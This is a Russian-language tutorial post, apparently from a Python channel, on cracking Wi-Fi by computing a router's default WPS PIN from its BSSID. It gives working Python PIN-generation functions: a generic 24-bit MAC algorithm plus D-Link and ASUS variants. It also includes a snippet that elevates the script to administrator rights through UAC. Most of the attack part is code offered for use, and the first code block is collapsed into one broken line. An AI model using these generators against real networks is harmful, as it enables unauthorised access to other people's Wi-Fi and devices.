Взлом WI-FI на Python
pythonguru
Привет, любитель Python!
В сегодняшней статье: Взлом WI-FI на языке Python. Сразу скажу, легко не будет.
WPS
Сейчас мы рассмотрим, как реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN.
Почти все роутеры поддерживают стандарт WPS, который позволяет подключится к роутеру без ввода пароля. Устройства подключаются по отдельному 8-значному ключу PIN из цифр.
Способы взлома WPS
- Подбор PIN-кода
- Использование уязвимостей
- С.И
- Слабости генерации ПИН-кода
Сегодня мы рассмотрим последний вариант взлома.
Откуда берётся стандартный PIN
После покупки роутера, в нём уже есть PIN из восьми цифр, полученный алгоритмом WPS. Как его узнать? Необходимо уникально для идентификации и генерации значений, это MAC устройства. Мы его и получим из широковещательного BSSID.
BSSID - уникальный идентификатор сети, почти всегда.
Всё начинается с BSSID.
Анализируем с помощью Dumpper или любым удобным способом.

BSSID: C4:6E:1F:6A:8D:04.
Как работают алгоритмы генерации ПИН-кодов
Начинаем бороздить различные сайты и форумы, чтобы узнать, как работают алгоритмы генерации PIN-кодов у нашего производителя роутера. Можно взять эти функции из сторонних программных продуктов с открытым исходным кодом.
Предположим, что большинство стареньких роутеров этого производителя используют алгоритм генерации PIN-кода из последних трех октетов MAC-адреса устройства.
24-bit PIN = MAC[7..12].
Реализация этого алгоритма на Python.
from math import floor MAC = 'C46E1F6A8D04' One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000 Var1 = 0 while Two: Var1 += 3 * (Two % 10) Two = floor(Two / 10) Var1 += Two % 10 Two = floor(Two / 10) Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10) Var3 = str(int(Var2)) result = Var3.zfill(8)
В результате скрипта получится 69829161. Можно проверить его достоверность на этикетке роутера

Подготовка и желательные требования
- Python 3 или выше
- Windows 7 или выше
- Удобная IDE (Я использую Sublime Text 3)
- Личный маршрутизатор Wi-Fi с технологией WPS
- WpsWin (входит в состав Dumpper)
- DA и Hex-Rays Tool.
Запускать готовый скрипт нужно будет с правами администратора.
Автозапуск с правами админа
Код:
import ctypes, sys
if ctypes.windll.shell32.IsUserAnAdmin():
if __name__ == "__main__":
main()
else:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
Теперь запуская скрипт вызов будет передан на UAC и откроется новое окно консоли, где наш код выполнится от имени администратора.
Разработка
Добавим алгоритм подсчета дайджеста MAC-адреса:
from math import floor
def checksum(mac):
mac %= 10000000
var = 0
temp = mac
while temp:
var += 3 * (temp % 10)
temp = floor(temp / 10)
var += temp % 10
temp = floor(temp / 10)
return (mac * 10) + ((10 - (var % 10)) % 10)
Это не весь список алгоритмов, оставшиеся вы можете написать сами
def pin24(BSSID):
temp = int(BSSID,16) & 0xFFFFFF
temp = checksum(temp)
temp = str(int(temp))
return temp.zfill(8)
def pinDLink(BSSID):
temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55
temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20)
temp %= 10000000
if temp < 1000000:
temp += ((temp % 9) * 1000000) + 1000000
temp = checksum(temp)
temp = str(int(temp))
return temp.zfill(8)
def pinDLinkInc1(BSSID):
temp = int(BSSID, 16) + 1
return pinDLink(hex(temp))
def pinASUS(BSSID):
temp = format(int(BSSID, 16), '02x')
temp = str(temp).zfill(12)
var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16),
int(temp[8:10], 16), int(temp[10:12], 16)]
pin = []
for i in range(7):
pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))
temp = int(''.join(str(i) for i in pin))
temp = checksum(temp)
temp = str(int(temp))
return temp.zfill(8)
Совершенствуй знания по Python каждый день у нас на канале, PythonGuru.
Вопросы, реклама - @pythonguru_admin